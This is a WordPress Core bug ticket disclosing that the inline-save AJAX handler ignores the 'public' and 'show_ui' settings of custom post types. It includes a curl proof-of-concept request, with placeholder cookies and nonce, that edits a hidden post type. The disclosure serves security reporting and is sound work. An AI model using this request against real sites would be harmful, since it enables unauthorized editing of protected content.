Make WordPress Core

Opened 8 months ago

#57447 new defect (bug)

wp_ajax_inline_save function does not check if post has "public" or "show_ui" enabled

Reported by: lucius0101's profile lucius0101 Owned by:
Milestone: Awaiting Review Priority: normal
Severity: normal Version:
Component: Security Keywords:
Focuses: Cc:


The Security Team has already reviewed this report on the WordPress HackerOne Program, and I was requested to create the ticket here as well.

Both the public and show_ui aren't checked by the wp_ajax_inline_save function, which is a UI-intended function.

The documentation for both params explains that having them as "false" should prevent the UI management for the custom post type:

show_ui bool
Whether to generate and allow a UI for managing this post type in the admin.
Default is value of $public.

public (boolean) (optional)
Controls how the type is visible to authors (show_in_nav_menus, show_ui) and
readers (exclude_from_search, publicly_queryable).

For the "public" param, the docs also say that it hides the CPT from authors, which can be bypassed, as seen below in the proof-of-concept. Since the "_inline_edit" nonce value is valid for all inline edits, regardless of the post type, it's possible to get this nonce on any post listing page and exploit this function to access a CPT that was not intended to be accessible.


$args = array(
        'label'               => __( 'Example' ),
        'description'         => __( 'Example' ),
        'labels'              => $labels,
        'supports'            => array( 'title', 'editor' ),
        'taxonomies'          => array(),
        'hierarchical'        => false,
        'public'              => false, // <-- False
        'show_ui'             => false, // <-- False
        'show_in_menu'        => false,
        'show_in_admin_bar'   => false,
        'show_in_nav_menus'   => false,
        'can_export'          => false,
        'has_archive'         => false,
        'exclude_from_search' => true,
        'publicly_queryable'  => false,
        'rewrite'             => false,
        'show_in_rest'        => false,
register_post_type( '...', $args );

What looks like a "protected" and "hidden" CPT can actually be accessed and edited by using this security issue on "wp_ajax_inline_save":

curl 'http://SITE_URL/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -H 'Cookie: COOKIES_HERE' \
  -H 'Origin: SITE_URL' \
  --data-raw 'post_title=Something&_inline_edit=NONCE_HERE&post_view=list&screen=edit-page&action=inline-save&post_type=POST_TYPE&post_ID=POST_ID&edit_date=true&post_status=all' \

The "show_ui" parameter has been enforced in the core's past versions when accessing some places, but the "wp_ajax_inline_save" function was not affected:

4.4.0 The show_ui argument is now enforced on the post type listing screen and post editing screen.
3.0.0 The show_ui argument is now enforced on the new post screen.

Change History (0)

Note: See TracTickets for help on using tickets.